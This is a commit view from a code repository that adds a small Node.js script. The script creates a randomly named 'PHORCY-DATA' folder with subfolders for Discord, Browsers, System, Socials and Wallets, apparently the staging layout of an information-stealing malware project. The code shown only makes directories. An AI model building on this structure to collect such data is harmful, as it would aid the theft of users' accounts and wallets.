Full refactor/better docs

This commit is contained in:
2026-02-01 04:09:42 +01:00
parent 008a8cea98
commit 0b60404558
76 changed files with 1566 additions and 767 deletions

View File

@@ -0,0 +1,19 @@
const fs = require('fs');
function genrandomstr(length) {
const letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let answer = '';
for (let i = 0; i < length; i++) {
answer += letter.charAt(Math.floor(Math.random() * letter.length));
}
return answer;
}
function cfold() {
const randomstr = genrandomstr(7);
const main = `PHORCY-DATA-${randomstr}`;
const sub = ['Discord', 'Browsers', 'System', 'Socials', 'Wallets'];
fs.mkdirSync(main);
sub.forEach(sub => {
fs.mkdirSync(`${main}/${sub}`);
});
}
cfold();